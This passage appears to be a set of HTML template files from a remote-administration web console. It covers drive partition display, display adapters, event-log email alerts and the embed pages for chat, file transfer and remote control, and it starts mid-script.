var used = width -8 - free;
var part = document.createElement("div");

if (part)
{
part.className = draw.type == 0 ? "unused" : "normal";
part.style.left = this.m_Offset;
part.style.width = width + "px";
var title = null;
if (draw.upper_text)
{
title = draw.upper_text;
}
if (draw.lower_text)
{
if (title) title += " - ";
title += draw.lower_text;
}
if (title)
{
part.setAttribute("title", title);
}

if (draw.type != 0)
{
if (draw.type & 2)
part.className += " logical";
if (draw.type & 8)
part.className += " primary";

var used_area = document.createElement("div");
if (used_area)
{
used_area.className = "used";
used_area.style.width = used + "px";
part.appendChild(used_area);
}

if (8 <= free)
{
var free_area = document.createElement("div");
if (free_area)
{
free_area.className = "free";
free_area.style.left = used + "px";
free_area.style.width = (free - 0) + "px";
part.appendChild(free_area);
}
}
}

if (draw.upper_text || draw.lower_text)
{
var label = document.createElement("div");
if (label)
{
label.setAttribute("title", draw.upper_text + (draw.upper_text && draw.lower_text?"\n":"") + draw.lower_text);
label.className = "label";
label.style.width = (width-11) + "px";
if (draw.upper_text) label.innerHTML = "<b>" + draw.upper_text + "</b>";
if (draw.lower_text) label.innerHTML += "<span>" + draw.lower_text + "</span>";
part.appendChild(label);
}
}

this.m_LayoutContainer.appendChild(part);
}
this.m_Offset += width;
}

this.Display = function()
{
var wrapper = document.getElementById("IE7DomFixWrapper" + this.m_Index);
if (! wrapper)
{
return;
}

this.m_LayoutContainer = document.createElement("div");
this.m_LayoutContainer.className = "drivelayout";
this.m_LayoutContainer.setAttribute("id", "HDD" + this.m_Index);
this.m_LayoutContainer.style.width = HDD_LAYOUT_WIDTH + "px";
this.m_LayoutContainer.style.height = HDD_LAYOUT_HEIGHT + "px";
var len =0;
this.m_TotalSize=0;
var parts=[];
for (var i = 0; i < g_Partitions.length; ++i)
{
var part = g_Partitions[ i ];
if (part && part.index == this.m_Index)
{
part.partIdx = len;
parts.push(part);
++len;
this.m_TotalSize += part.size;
}
}
this.m_MinWidth = Math.min(MIN_WIDTH, this.m_RemainWidth/len);
var lowSize = this.m_MinWidth / this.m_RemainWidth*this.m_TotalSize;
var undersized=0;
for (var i = 0; i < parts.length; ++i)
{
var part = parts[ i ];
if (part.size <= lowSize)
{
part.width = this.m_MinWidth;
this.m_RemainWidth -= this.m_MinWidth;
this.m_TotalSize -= part.size;
--len;
}        
}
for (var i = 0; i < parts.length; ++i)
{
var part = parts[ i ];
if (!part.width)
{
part.width = part.size / this.m_TotalSize * this.m_RemainWidth;
}
this.AddPartition(part);
}
wrapper.appendChild(this.m_LayoutContainer);
}
}

function CreateHDDLayout(index, size)
{
var layout = new HDDLayout(index, size);
layout.Display();
}

var ie = (function(){

var undef,
v = 3,
div = document.createElement('div'),
all = div.getElementsByTagName('i');

while (
div.innerHTML = '<!--[if gt IE ' + (++v) + ']><i></i><![endif]-->',
all[0]
);

return v > 4 ? v : undef;

}());

function ForceUpdate()
{
if (ie !== undefined)
{
var body = document.getElementsByTagName("body")[0];
var oldClassName = body.className;
body.className += "__dummyClass__";
body.className = oldClassName;
}
}
</script>
</head>

<body onload="ForceUpdate();">
<div class="window">
<div class="titleBar"><?usemacro TITLEICON("perf")?><span class="titleText">&MSG.INFO.DRIVE.TITLE&</span></div>
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.INFO.DRIVE.TITLE%&favicon=menu_perf.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>

<?usemacro WINERRDLG()?>
<div class="tab-pane" id="tabPane">
<script type="text/javascript">var tp1 = new RATabPane(document.getElementById("tabPane"));</script>

<!-- Physical drives -->
<div class="tab-page" id="tabPhysical">
<h2 class="tab">&nbsp;<?&MSG.INFO.DRIVE.Physic?>&nbsp;</h2>
<script type="text/javascript">tp1.addTabPage(document.getElementById("tabPhysical"));</script>

<center>
<?if DRIVEMAP?>
<?set LAST = "none"?>
<?enum DRIVEMAP?>
<?if LAST != HDD.NUMBER?>
<?set LAST = HDD.NUMBER?>
<div style="width: 800px; text-align: left;"><?&MSG.INFO.DRIVE.Drive?> <?&HDD.NUMBER?>: <?&HDD.CAPTION?> (<?&MSG.INFO.DRIVE.Bus?> <?&HDD.SCSI.BUS?>, <?&MSG.INFO.DRIVE.ID?> <?&HDD.SCSI.ID?>, <?&MSG.INFO.DRIVE.LUN?> <?&HDD.SCSI.LUN?>)</div>
<div id="IE7DomFixWrapper<?&HDD.NUMBER?>" class="IE7DomFixWrapper"></div>
<script type="text/javascript">
CreateHDDLayout(<?&HDD.NUMBER?>, <?&HDD.TOTALSIZE?>);
</script>
<?endif?>
<?next?>
<br><br>
<?endif?>
<?set LAST = "none"?>

<table class="inner">
<?enum PARTS?>
<?if LAST != PART.DEVICE?>
<?set LAST = PART.DEVICE?>
<tr><th colspan="9">
<?&MSG.INFO.DRIVE.Drive?>: <?&PART.DEVICE?> - <?&HDD.SIZE _szm?>, <?&MSG.INFO.DRIVE.Signature?>: <?&HDD.SIGNATURE?>
<?if HDD.CTRL?><?&MSG.INFO.DRIVE.SCSIContr?> <?&HDD.CTRL?>, <?&MSG.INFO.DRIVE.Bus?> <?&HDD.BUS?>, <?&MSG.INFO.DRIVE.ID?> <?&HDD.ID?>, <?&MSG.INFO.DRIVE.LUN?> <?&HDD.LUN?><?endif?>
</th></tr>
<tr class="ttd">
<td colspan="2"><?&MSG.INFO.DRIVE.Drive?></td>
<td class="num"><?&MSG.INFO.DRIVE.Number?></td>
<td><?&MSG.Type?></td>
<td class="num"><?&DRIVE.VSize?></td>
<td class="num"><?&MSG.INFO.DRIVE.Offset?></td>
<td><?&MSG.INFO.DRIVE.Bootable?></td>
<td><?&MSG.INFO.DRIVE.Volume?></td>
<td><?&MSG.INFO.DRIVE.Fsys?></td>
</tr>
<?endif?>
<tr>
<td><?if PART.DRIVE?><img src="fileicon.png?bg=%COLOR.DlgBack%&path=%PART.DRIVE%&size=16" width="16" height="16"><?endif?></td>
<td><?if PART.DRIVE?><a href="dir.html?dir=%PART.DRIVE%"><?&PART.DRIVE?></a><?else?><?&MSG.CONFIG.NA?><?endif?></td>
<td class="num"><?&PART.NUMBER?></td>
<td><?&PART.TYPE?></td>
<td class="num"><?&PART.SIZE_szm?></td>
<td class="num"><?&PART.OFFSET?></td>
<td><?if PART.BOOTABLE?><?&MSG.DIALOG.YES?><?else?><?&MSG.DIALOG.NO?><?endif?></td>
<td><?&PART.VOLUME?></td>
<td><?&PART.FSYS?></td>
</tr>
<?next?>
</table>
</center>
</div>

<!-- Logical drives -->
<?if VOLS?>
<div class="tab-page" id="tabLogical">
<h2 class="tab">&nbsp;<?&MSG.INFO.DRIVE.Logic?>&nbsp;</h2>
<script type="text/javascript">tp1.addTabPage(document.getElementById("tabLogical"));</script>

<center>
<table class="inner">
<tr>
<th><?&DRIVE.Vol?></th>
<th><?&MSG.INFO.DRIVE.MOUNTED?></th>
<th><?&MSG.INFO.DRIVE.On?></th>
<th><?&MSG.INFO.DRIVE.Fsys?></th>
<th class="num"><?&MSG.INFO.DRIVE.Capacity?></th>
<th class="num"><?&DRIVE.VFree?></th>
<th><?&DRIVE.UsedP?></th>
</tr>
<?enum VOLS?>
<tr>
<td><?&VOL.NAME?></td>
<td><?if VOL.MOUNTS has ", "?><?&VOL.MOUNTS?><?else?><a href="dir.html?dir=%VOL.MOUNTS%"><?&VOL.MOUNTS?></a><?endif?></td>
<td><?&VOL.DEVICES?></td>
<td><?&VOL.FSYS?></td>
<td class="num"><?&VOL.SIZE_szm?></td>
<td class="num"><?&VOL.FREE_szm?></td>
<td><?usemacro PERCENTBAR(VOL.USEDP)?></td>
</tr>
<?next?>
</table>
</center>
</div>
<?endif?>

</div>
</div>

</body>
</html>
	dspinfo.html<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<div class="window">
<div class="titleBar"><?usemacro TITLEICON("perf")?><span class="titleText"><?&INFO.DISP.TITLE?></span></div>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%INFO.DISP.TITLE%&favicon=menu_perf.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>

<br><center>
<?action "dsplist"?><?usemacro WINERRDLG()?>

<!-- ADAPTERS -->
<table class="inner">
<?enum DISPLAYS?>
<?if DISPLAY.DEVICE // device record?>
<tr><th align="left">
&MSG.INFO.DISP.TYPE:DISPLAY.TYPE& <a href="regframes.html?key=%DISPLAY.KEY%">(&DISPLAY.DEVICE&)</a>:<br>
&DISPLAY.CONTEXT&<?if DISPLAY.PRIMARY?>, &MSG.INFO.DISP.PRIMARY&<?endif?><?if DISPLAY.DESKTOP?>, &MSG.INFO.DISP.DESKTOP&<?endif?>
</th></tr>
<?else // device record?>
<tr><td>&MSG.INFO.DISP.MODE&</td></tr>
<?endif?>
<?next?>
</table>

<br><br>
</center>
</div>
</body>
</html>
;"emailalert.htmlT#<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>

<?
if REQ.CREATE
action "alertadd"
elseif REQ.SUBMIT
action "alertset"
elseif REQ.DELETE
action "alertdel"
endif
usemacro WINERRDLG()
action "alertlist"
usemacro WINERRDLG()
action "evtlogs"
?>

<div class="window">
<div class="titleBar"><?usemacro TITLEICON("schedule")?><span class="titleText">&MSG.ADMIN.ALERTS.TITLE&</span></div>
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.ADMIN.ALERTS.TITLE%&favicon=menu_schedule.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>

<center>

<?if BRAND.LOGMEIN.IT?>
<br>
<fieldset style="width:95%"><br>
<font color="<?&COLOR.Link?>">&MONITORING.NOTE.ITRALERTS&</font><br><br>
</fieldset>
<br><br>
<?endif?>

<?if CFG.SMTP.Server ?>
<table class="inner">
<tr>
<th>&MSG.ADMIN.ALERTS.ENABLE&</th>
<th>&MSG.ADMIN.ALERTS.EVTLOG&</th>
<th>&MSG.ADMIN.ALERTS.EVTTYPE&</th>
<th>&MSG.ADMIN.ALERTS.EVTSRC&</th>
<th>&MSG.ADMIN.ALERTS.EVTCAT&</th>
<th>&MSG.ADMIN.ALERTS.EVTID&</th>
<th>&MSG.ADMIN.ALERTS.EMAIL&</th>
<th></th>
</tr>
<?enum ALERTS?>
<form action="&TEMPLATE&" onsubmit="return true || check(this)">
<input type="hidden" name="alertid" value="&ALERT.ID&">
<tr>
<td><input type="checkbox" name="enable" <?checked ALERT.ENABLE?>></td>
<td><input type="hidden" name="evtlog"  value="&ALERT.EVTLOG&">&ALERT.EVTLOG&</td>
<td><select name="evttype" size="1">
<option value= "1" <?selected ALERT.EVTTYPEN= "1"?>>&MSG.ADMIN.EVENTS.TYPE.ERROR&
<option value= "2" <?selected ALERT.EVTTYPEN= "2"?>>&MSG.ADMIN.EVENTS.TYPE.WARNING&
<option value= "3" <?selected ALERT.EVTTYPEN= "3"?>>&MSG.ADMIN.EVENTS.TYPE.ERRWARN&
<option value= "4" <?selected ALERT.EVTTYPEN= "4"?>>&MSG.ADMIN.EVENTS.TYPE.INFO&
<option value= "8" <?selected ALERT.EVTTYPEN= "8"?>>&MSG.ADMIN.EVENTS.TYPE.AUDITSUCC&
<option value="16" <?selected ALERT.EVTTYPEN="16"?>>&MSG.ADMIN.EVENTS.TYPE.AUDITFAIL&
<option value="31" <?selected ALERT.EVTTYPEN="31"?>>&MSG.ADMIN.EVENTS.TYPE.ALL&
</select></td>
<td><input type="text" name="evtsrc"  size="10" value="&ALERT.EVTSRC&"></td>
<td><input type="text" name="evtcat"  size="10" value="&ALERT.EVTCAT&"></td>
<td><input type="text" name="evtid"   size= "4" value="&ALERT.EVTID&"></td>
<td><input type="text" name="email"   size="20" value="&ALERT.EMAIL&"></td>
<td><input type="submit" name="submit" value="&DIALOG.APPLY&">&nbsp;<input type="submit" name="delete" value="&DIALOG.DELETE&"></td>
</tr>
</form>
<?next?>
<form action="&TEMPLATE&" onsubmit="return true || check(this)">
<tr>
<td><input type="checkbox" name="enable" checked></td>
<td><select name="evtlog"  size="1"><?enum EVTLOGS?><option value="&EVTLOG.NAME&" <?selected EVTLOG.NAME=REQ.EVTLOG?>>&EVTLOG.DISP&<?next?></select></td>
<td><select name="evttype" size="1">
<option value= "1">&MSG.ADMIN.EVENTS.TYPE.ERROR&
<option value= "2">&MSG.ADMIN.EVENTS.TYPE.WARNING&
<option value= "3">&MSG.ADMIN.EVENTS.TYPE.ERRWARN&
<option value= "4">&MSG.ADMIN.EVENTS.TYPE.INFO&
<option value= "8">&MSG.ADMIN.EVENTS.TYPE.AUDITSUCC&
<option value="16">&MSG.ADMIN.EVENTS.TYPE.AUDITFAIL&
<option value="31">&MSG.ADMIN.EVENTS.TYPE.ALL&
</select></td>
<td><input type="text" name="evtsrc"  size="10" value="&REQ.EVTSRC&"></td>
<td><input type="text" name="evtcat"  size="10" value="&REQ.EVTCAT&"></td>
<td><input type="text" name="evtid"   size= "4" value="&REQ.EVTID&"></td>
<td><input type="text" name="email"   size="20" value="&REQ.EMAIL&"></td>
<td><input type="submit" name="create" value="&DIALOG.CREATE&"></td>
</tr>
</form>
</table>

<p style="margin: 2ex;">&MSG.ADMIN.ALERTS.NOTE&</p>

<?else?>

<center>
<form method="get" action="cfgnet.html">
<p>&MSG.ADMIN.ALERTS.NOSMTP&</p>
<input type="submit" value="&DIALOG.CONTINUE&">
</form>
</center>

<?endif?>

<br>
</center>
</div>
</body>
</html>
#6Q,embedded\chat_app.htmlWΘ<?ratmpl?>

<html style="height:100%">

<? set TEMPLATE = "/" TEMPLATE ?>

<?include "macros.html"?>

<?include "activex.inc"?>

<?include "chkobject.inc"?>



<?

if REQ.APPLETWIDTH

set APPLETWIDTH = REQ.APPLETWIDTH

set APPLETHEIGHT = REQ.APPLETHEIGHT

else

action "appletsize"

endif

?>



<?if not REQ.APPLETWIDTH?>

<script language="JavaScript"> 

function appletResize() {

var w_newWidth, w_newHeight, w_titleHeight;

w_titleHeight = 0;

var vContainer1 = document.getElementById("title1");

if (vContainer1)

w_titleHeight = vContainer1.offsetHeight;

w_newWidth =self.innerWidth; 

w_newHeight=self.innerHeight - w_titleHeight; 

window.location.replace('/&TEMPLATE&?type=java&appletwidth=' + w_newWidth + '&appletheight=' + w_newHeight +  "&app=1");

}

</script> 		

<?endif?>



<body  style="height:100%;margin:0;padding:0;" <?if not REQ.APPLETWIDTH?>onload="appletResize();"<?else?>onload="chkObject('axControlZ', false);"<?endif?>>

<table class="window" width="100%" height="100%"

<?if BRAND.LOGMEIN // Mozilla tends to screw up without this (only LMI - see window.css)?> 

style="height: 100%;"

<?endif?>

>

<tr><td height="100%" align="center" <?if UI="secrem"?>style="border:1px solid black"<?endif?>>

<?if REQ.APPLETWIDTH?>

<?action "appletssl"?>

<?action "chat"?>

<?if not WINERRNUM?>

<?if REQ.TYPE="activex"?>

<object codebase="ACTIVEX.CAB" classid="CLSID:FA5369ED-D19A-434C-8F59-EE90D690D36C" width="100%" height="100%" id="axControlZ" viewastext>

<?include "chat_params.html"?>

</object>

<?elseif REQ.TYPE="xpi"?>

<object type="application/x-3amlabs-rachat" width="100%" height="100%" id="axControlZ" viewastext>

<?include "chat_params.html"?>

</object>

<?elseif REQ.TYPE="java"?>

<?usemacro APPLETOPEN(JAVA.CODEBASE, "Chat.class", REQ.APPLETWIDTH, REQ.APPLETHEIGHT, "chat.cab", "chat.jar?RASID=" RASID.URLENC, "appletToResize")?>

<?include "chat_params.html"?>

<?usemacro APPLETCLOSE()?>

<?else?>

<?include "getjava.html"?>

<?endif?>

<?else?> 

<b>&WINERRMSG&</b>

<?endif?> 

</td></tr>

<?endif?>

</table>

</body>

s[4embedded\filexfer_app.htmlaB<?ratmpl?>

<html style="height:100%">

<? set TEMPLATE = "/" TEMPLATE ?>

<?include "activex.inc"?>

<?include "macros.html"?>

<?include "chkobject.inc"?>

<?

if REQ.APPLETWIDTH

set APPLETWIDTH = REQ.APPLETWIDTH

set APPLETHEIGHT = REQ.APPLETHEIGHT

else

action "appletsize"

endif

?>

<?if not APPLETWIDTH?>

<script language="JavaScript"> 

function appletResize() {

var w_newWidth, w_newHeight, w_titleHeight;

w_titleHeight = 0;

var vContainer1 = document.getElementById("title1");

if (vContainer1)

w_titleHeight = vContainer1.offsetHeight;

w_newWidth =self.innerWidth; 

w_newHeight=self.innerHeight - w_titleHeight;

window.location.replace('/&TEMPLATE&?type=java&appletwidth=' + w_newWidth + '&appletheight=' + w_newHeight +  "&app=1");

}

</script> 	

<?else?>	

<script type="text/javascript">

var img;

var t = null;

var bRequestDisplayed = false;



function tryToLoad()

{

img = new Image();

img.onload = imgLoaded;

img.onerror = imgError;

img.src = "img/initiatechat.bmp?rnd=" + Math.random();

}



function imgLoaded()

{

if (!bRequestDisplayed)

{

bRequestDisplayed = true;



if (confirm("$MSG.CHAT.REQUESTED.YESNO$"))

{

window.location.replace("chat.html");

}

}



clearTimeout(t);

t = setTimeout("tryToLoad()", 5000);

}



function imgError()

{

clearTimeout(t);

t = setTimeout("tryToLoad()", 5000);

}



function startChatPoll()

{

imgError();

}

</script>

<?endif?>



<body style="height:100%;margin:0px;padding:0px" <?if not APPLETWIDTH?>onload="appletResize();"<?else?>onload="chkObject('axControl', false); startChatPoll();"<?endif?>>

<table class="window" width="100%" height="100%" style="height: 100%;">



<tr><td height="100%" colspan="2" align="center" <?if REQ.TYPE="activex"?>style="background-color: buttonface"<?endif?>>



<?if APPLETWIDTH?>

<?action "appletssl"?>

<?action "filexfer"?>

<?if WINERRNUM?>

<b>&WINERRMSG&</b>

<?else?>

<?if REQ.TYPE="activex"?>

<object codebase="ACTIVEX.CAB" classid="CLSID:03D19749-C5FA-4CCC-99AB-00AB2AF45ACD" width="100%" height="100%" id="axControl" viewastext>

<?include "filexfer_params.html"?>

</object>

<?elseif REQ.TYPE="xpi"?>

<object type="application/x-3amlabs-rafiletransfer" width="&APPLETWIDTH&" height="&APPLETHEIGHT&" id="axControl" viewastext>

<?include "filexfer_params.html"?>

</object>

<?elseif REQ.TYPE="java"?>

<?usemacro APPLETOPEN(JAVA.CODEBASE, "FileTransfer.class", APPLETWIDTH, APPLETHEIGHT, "filexfer.cab", "filexfer.jar?RASID=" RASID.URLENC, "appletToResize")?>

<?include "filexfer_params.html"?>

<?usemacro APPLETCLOSE()?>

<?else?>

<?if BRAND.LOGMEIN?>

<script language="JavaScript">	

window.location='drives.html';

</script>

<?else?>

<?include "getjava.html"?>

<?endif?>

<?endif?>

<?endif?>

<?endif?> 



</td></tr>

</table>

</body>

</html>

pɔ2embedded\remctrl_app.htmlK:2<?ratmpl?> 

<?nocache?>

<? set TEMPLATE = "/" TEMPLATE ?>

<?include "macros.html"?>

<?include "activex.inc"?>

<?if not BRAND.LOGMEIN and GUESTINVITE

include "mozplugin_check.html"

endif?>    



<?

// set the default control type

if not REQ.TYPE

if not REQ.VIEW and CFG.RemoteControl.ControlType = "html"

set REQ.TYPE = "html"

elseif CFG.RemoteControl.ControlType = "java" or HTTP.USERAGENT has "Windows 98" or HTTP.USERAGENT has "WinNT4" or IS9X or ISNT4

set REQ.TYPE = "java"

elseif USE.FLASH and CFG.RemoteControl.ControlType = "flash" 

set REQ.TYPE = "flash"

elseif USE.MOZPLUGIN and CFG.RemoteControl.ControlType = "xpi"

set REQ.TYPE = "xpi"

else

set REQ.TYPE = "activex"

endif

endif



if REQ.TYPE = "flash" and HTTP.USERAGENT has "Mac OS X" and HTTP.USERAGENT has "Safari"

set REQ.TYPE = "java"

endif



if not REQ.VIEW

set REQ.VIEW = "0"

endif

set session RCVIEWONLY = REQ.VIEW



if REQ.LOOPBACK = "1"

set IsLoopback = "1"

elseif IsViaLoopback and CFG.RemoteControl.AllowLoopback != "1" and REQ.ForceLoopback != "1"

set IsLoopback = "1"

endif



action "remctrl"

?>



<?include "chkobject.inc"?>

<?

if REQ.APPLETWIDTH

set APPLETWIDTH = REQ.APPLETWIDTH

set APPLETHEIGHT = REQ.APPLETHEIGHT

else

action "appletsize"

endif

?>



<script type="text/javascript" language="JavaScript"> 

<?if USE.FLASH and REQ.TYPE="flash" ?>

<?if not HTTP.USERAGENT has "MSIE" ?>

function ALTKeyTrap(event) {

// http://codingtips.blogspot.com/2004/01/how-to-disable-browser-hotkeys-using.html 

var keyPressed = event.which;	

if(keyPressed == 18) {

// The ALT key is pressed

event.stopPropagation();

}

}

<?endif?>

<?endif?>



function onloadHandler() {

<?if not APPLETWIDTH?>

appletResize();

<?else?>

<?if not IsLoopback?>

chkObject('rcxcontrol', <?if REQ.TYPE="java"?>true<?else?>false<?endif?>);

<?if USE.FLASH and REQ.TYPE="flash" ?>

if (typeof(RightClick) != "undefined") {

RightClick.init();

}

<?if not HTTP.USERAGENT has "MSIE" ?>

var flashObject = document.getElementById('rcxcontrol');

if(flashObject) {

flashObject.onkeydown = ALTKeyTrap;

}

<?endif?>

<?endif?>

<?endif?>

<?endif?>

}



<? if not APPLETWIDTH ?>

function appletResize() {

var w_newWidth, w_newHeight, w_titleHeight;

w_titleHeight = 0;

var vContainer1 = document.getElementById("title1");

if (vContainer1) {

w_titleHeight = vContainer1.offsetHeight;

}

w_newWidth =self.innerWidth; 

w_newHeight=self.innerHeight - w_titleHeight; 

window.location.replace('/&TEMPLATE&?type=java&appletwidth=' + w_newWidth + '&appletheight=' + w_newHeight + '&view=&REQ.VIEW&' + "&app=1");

}

<?endif?>





<?if USE.FLASH ?>

// This is called from the menu.html

function flashNotifyToggleFullScreen(bFullScreen) {

// Do nothing by default (in case of activex or java for example)

<?if REQ.TYPE="flash" ?>

// Do only job, if type was flash

var flashObject = document.getElementById('rcxcontrol');

if(flashObject && typeof(flashObject.browserToggleFullScreenCallback)!="undefined") {

flashObject.browserToggleFullScreenCallback(bFullScreen);

}

<?endif?>

}

<?if REQ.TYPE="flash" ?>

function flashScreenWidth() {

return screen.width;

}

function flashScreenHeight() {

return screen.height;

}

function flashNotifyMouseUp(event) {

if(event.button == <?if HTTP.USERAGENT has "MSIE"?>1<?else?>0<?endif?>) {

var flashObject = document.getElementById('rcxcontrol');

if(flashObject && typeof(flashObject.browserMouseUpCallback)!="undefined") {

flashObject.browserMouseUpCallback();

}

}

}

function flashNotifyUnLoad(event) {

var flashObject = document.getElementById('rcxcontrol');

if(flashObject && typeof(flashObject.browserUnLoadCallback)!="undefined") {

flashObject.browserUnLoadCallback();

}

}

function flashMenuFrame() {

return top.menu;

}

function flashIsFullScreen() {

var ret = null;

var f = flashMenuFrame();

if(f) {

ret = f.flashIsFullScreen();

}

return ret;

}

function flashToggleFullScreen() {

var ret = false;

var f = flashMenuFrame();

if(f) {

f.flashToggleFullScreen();

ret = true;

}

return ret;

}

// signed.applets.codebase_principal_support -> true

// http://www.mozilla.org/projects/security/components/signed-scripts.html

function flashGetClipboard() {

var ret = null;

<?if HTTP.USERAGENT has "MSIE" ?>

// http://lab.artlung.com/copy-to-clipboard-javascript/

ret = window.clipboardData.getData('Text');

<? else ?>

netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');

// https://developer.mozilla.org/en/Using_the_Clipboard

var clip = Components.classes["@mozilla.org/widget/clipboard;1"].getService(Components.interfaces.nsIClipboard);

if (!clip) return false;



var trans = Components.classes["@mozilla.org/widget/transferable;1"].createInstance(Components.interfaces.nsITransferable);

if (!trans) return false;  

trans.addDataFlavor("text/unicode");



clip.getData(trans, clip.kGlobalClipboard);  

var str       = new Object();  

var strLength = new Object();  

trans.getTransferData("text/unicode", str, strLength);



if (str) str       = str.value.QueryInterface(Components.interfaces.nsISupportsString);  

if (str) ret	   = str.data.substring(0, strLength.value / 2);

<? endif ?>

return ret;

}

<?endif?>

<?endif?>    

</script>



<script type="text/javascript"> 

function redirect() {

window.location.replace("dashboard.html");

}

</script>



<?switch REQ.TYPE?>

<?case "java","activex","xpi","flash"?>

<body style="margin:0px;padding:0px;" onload="onloadHandler();" <? if REQ.TYPE="flash" and USE.FLASH ?> onunload="flashNotifyUnLoad(event);" onmouseup="flashNotifyMouseUp(event)"<?endif?>>

<div class="windowrc" width="100%" height="100%" style="height: 100%;<?if UITYPE="LMI" and not IsLoopback?>background-color: black;<?endif?>">

<?if APPLETWIDTH ?>

<?action "appletssl"?>

<?if WINERRNUM?> 

<b>&WINERRMSG&</b> 

<?elseif IsLoopback?>

<?include "remctrl_loopbackmsg.html"?>

<?else?>

<?if REQ.TYPE="java"?>

<?

// Do not specify the size as 100%, just make something up.

// we'll fix that in the resize handler.

// this is needed for the Mac, but other platforms might have an issue with the

// % notation as well.   						

?>

<?usemacro APPLETOPEN(JAVA.CODEBASE, "RemCtrl.class", APPLETWIDTH, APPLETHEIGHT, "remctrl.cab", "remctrl.jar?RASID=" RASID.URLENC, "appletToResize")?>

<?include "remctrl_params.html"?>

<?usemacro APPLETCLOSE()?>

<?elseif REQ.TYPE="xpi"?>

<?if HTTP.USERAGENT has "Opera 8"?>

<embed type="application/x-3amlabs-raremotecontrol" width="&APPLETWIDTH&" height="&APPLETHEIGHT&" id="rcxcontrol" viewastext <?include "remctrl_params.html"?> >

</embed>

<?else?>

<object type="application/x-3amlabs-raremotecontrol" width="&APPLETWIDTH&" height="&APPLETHEIGHT&" id="rcxcontrol" viewastext>

<?include "remctrl_params.html"?>

</object>

<?endif?>



<?elseif REQ.TYPE="flash" and USE.FLASH ?>

<?if HTTP.USERAGENT has "MSIE"?>

<div id="rxcontrolContOutl"><div id="rcxcontrolContainer"></div></div>

<?else?>

<div id="rcxcontrolContainer"></div>

<?endif?>

<script src="/js/swfobject.js" type="text/javascript"></script>

<script type="text/javascript">

var flashvars = {};

<?include "remctrl_params.html"?>



var params = {};

params.bgcolor = "#000000";

params.quality = "high";

params.menu = "false";

params.wmode = "opaque";

params.allowScriptAccess = "always";

params.allowNetworking = "all";

params.allowFullScreen = "false";



var attributes = {};

attributes.id = "rcxcontrol";

swfobject.embedSWF("<?if not BRAND.LOGMEIN?>/<?endif?>&REMCTRL.SWF&", "rcxcontrolContainer", "100%", "100%", "9.0.124", false, flashvars, params, attributes);

</script>



<script type="text/javascript"> 

var RightClick = {

/**

*  Constructor

*/

init: function () {

this.FlashObjectID = "rcxcontrol";

// this.FlashContainerID only used in case of MSIE

this.FlashContainerID = "rxcontrolContOutl";

this.Cache = this.FlashObjectID;

if(window.addEventListener){

window.addEventListener("mousedown", this.onGeckoMouseDown(), true);

window.addEventListener("mouseup",   this.onGeckoMouseUp(),   true);

} else {

var e = document.getElementById(this.FlashContainerID);

document.oncontextmenu = function(){ if(window.event.srcElement.id == RightClick.FlashObjectID) { return false; } else { RightClick.Cache = "nan"; }}

e.onmousedown = RightClick.onIEMouseDown;

e.onmouseup = RightClick.onIEMouseUp;

}

},

/**

* GECKO / WEBKIT event overkill

* @param {Object} eventObject

*/

killEvents: function(eventObject) {

if(eventObject) {

if (eventObject.stopPropagation) eventObject.stopPropagation();

if (eventObject.preventDefault) eventObject.preventDefault();

}

},

/**

* GECKO / WEBKIT call right click

* @param {Object} ev

*/

onGeckoMouseUp: function(ev) {

return function(ev) {

if (ev.button != 0) {

RightClick.killEvents(ev);

if(ev.target.id == RightClick.FlashObjectID && RightClick.Cache == RightClick.FlashObjectID) {

RightClick.call(false);

}

RightClick.Cache = ev.target.id;

}

}

},

onGeckoMouseDown: function(ev) {

return function(ev) {

if (ev.button != 0) {

RightClick.killEvents(ev);

if(ev.target.id == RightClick.FlashObjectID && RightClick.Cache == RightClick.FlashObjectID) {

RightClick.call(true);

}

RightClick.Cache = ev.target.id;

}

}

},

/**

* IE call right click

* @param {Object} ev

*/

onIEMouseDown: function() {

if (event.button > 1) {

if(window.event.srcElement.id == RightClick.FlashObjectID && RightClick.Cache == RightClick.FlashObjectID) {

RightClick.call(true);

}

document.getElementById(RightClick.FlashContainerID).setCapture();

if(window.event.srcElement.id) {

RightClick.Cache = window.event.srcElement.id;

}

}

},

onIEMouseUp: function() {

if (event.button > 1) {

if(window.event.srcElement.id == RightClick.FlashObjectID && RightClick.Cache == RightClick.FlashObjectID) {

RightClick.call(false);

}

document.getElementById(RightClick.FlashContainerID).releaseCapture();

if (window.event.srcElement.id) {

RightClick.Cache = window.event.srcElement.id;

}

}

},

/**

* Main call to Flash External Interface

*/

call: function(down) {

var e = document.getElementById(this.FlashObjectID);

if (down) {

if(typeof(e.browserRightButtonDownCallback)!="undefined") {

e.browserRightButtonDownCallback();

}

} else {

if(typeof(e.browserRightButtonUpCallback)!="undefined") {

e.browserRightButtonUpCallback();

}

}

}

}



/** Scroll support */

function onMouseWheelHandler(delta) {

var flashObject = document.getElementById('rcxcontrol');

if(flashObject && typeof(flashObject.browserMouseWheelCallback)!="undefined") {

flashObject.browserMouseWheelCallback(delta);

}

}



/** Event handler for mouse wheel event. */

function wheel(event){

var delta = 0;

if (!event) {

event = window.event; /* For IE. */

}

if (event.wheelDelta) { /* IE/Opera. */

delta = event.wheelDelta/120;

if (window.opera) {

delta = -delta; /** In Opera 9, delta differs in sign as compared to IE. */

}

